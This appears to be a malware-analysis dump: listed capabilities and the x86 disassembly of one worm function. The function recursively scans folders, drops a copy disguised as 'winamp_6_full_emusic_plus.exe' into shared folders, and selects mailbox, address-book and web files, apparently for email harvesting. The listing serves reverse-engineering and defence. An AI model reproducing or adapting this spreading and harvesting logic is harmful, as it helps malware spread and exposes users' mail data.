Function at 0x4085d0
Capabilities:
Enumerate files on windows
Enumerate files recursively
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
push ebx
push esi
push edi
lea eax, [ebp - 0x248]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x408aa6
movsx edx, byte [ebp - 0x21c]
cmp edx, 0x2e
jne 0x40860b
jmp 0x408a8d
mov edi, dword [ebp + 8]
lea edx, [ebp - 0x108]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x5c
lea ecx, [ebp - 0x108]
push ecx
call sub.MSVCRT.dll_strrchr
add esp, 8
test eax, eax
je 0x40865b
push 0x5c
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRT.dll_strrchr
add esp, 8
mov byte [eax + 1], 0
lea edi, [ebp - 0x21c]
lea edx, [ebp - 0x108]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x248]
and eax, 0x10
test eax, eax
je 0x40886c
lea edi, [ebp - 0x21c]
lea edx, [ebp - 0x34c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x34c]
push ecx
call sub.MSVCRT.dll__strlwr
add esp, 4
push str.shar
lea edx, [ebp - 0x34c]
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x40870d
push 0x40d368
lea eax, [ebp - 0x34c]
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x4087d9
call fcn.00409bb0
cmp dword [0x41788c], 0
je 0x4087d9
cmp dword [0x417280], 0
je 0x4087d9
lea edi, [ebp - 0x108]
lea edx, [ebp - 0x34c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.winamp_6_full_emusic_plus.exe
lea edx, [ebp - 0x34c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x40d184
lea eax, [ebp - 0x34c]
push eax
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0
je 0x4087d9
mov ecx, dword [ebp - 0x350]
push ecx
mov edx, dword [0x417280]
push edx
push 1
mov eax, dword [0x41788c]
push eax
call sub.MSVCRT.dll_fwrite
add esp, 0x10
mov ecx, dword [ebp - 0x350]
push ecx
call sub.MSVCRT.dll_fclose
add esp, 4
mov edi, 0x40d344
lea edx, [ebp - 0x108]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.mail
lea eax, [ebp - 0x21c]
push eax
call fcn.00408ac0
add esp, 8
test eax, eax
je 0x408843
push str.imapmail
lea ecx, [ebp - 0x21c]
push ecx
call fcn.00408ac0
add esp, 8
test eax, eax
je 0x408843
cmp dword [ebp + 0xc], 1
jne 0x408856
push 1
lea edx, [ebp - 0x108]
push edx
call fcn.004085d0
add esp, 8
jmp 0x408867
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.004085d0
add esp, 8
jmp 0x408a8d
lea edi, [ebp - 0x21c]
lea edx, [ebp - 0x34c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x34c]
push ecx
call sub.MSVCRT.dll__strlwr
add esp, 4
cmp dword [ebp + 0xc], 1
je 0x408a72
push str..dbx
lea edx, [ebp - 0x34c]
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..wab
lea eax, [ebp - 0x34c]
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..mbx
lea ecx, [ebp - 0x34c]
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..eml
lea edx, [ebp - 0x34c]
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..mdb
lea eax, [ebp - 0x34c]
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..tbb
lea ecx, [ebp - 0x34c]
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..txt
lea edx, [ebp - 0x34c]
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..html
lea eax, [ebp - 0x34c]
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..htm
lea ecx, [ebp - 0x34c]
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..doc
lea edx, [ebp - 0x34c]
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..rtf
lea eax, [ebp - 0x34c]
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..cgi
lea ecx, [ebp - 0x34c]
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..php
lea edx, [ebp - 0x34c]
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str..asp
lea eax, [ebp - 0x34c]
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
push str.inbox
lea ecx, [ebp - 0x34c]
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408a72
movsx edx, byte [ebp - 0x34c]
cmp edx, 0x30
jl 0x408a8d
movsx eax, byte [ebp - 0x34c]
cmp eax, 0x39
jg 0x408a8d
push str..dat
lea ecx, [ebp - 0x34c]
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x408a8d
cmp dword [0x41727c], 0x1388
jge 0x408a8d
lea edx, [ebp - 0x108]
push edx
call fcn.00408b30
add esp, 4
lea eax, [ebp - 0x248]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x4085fa
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret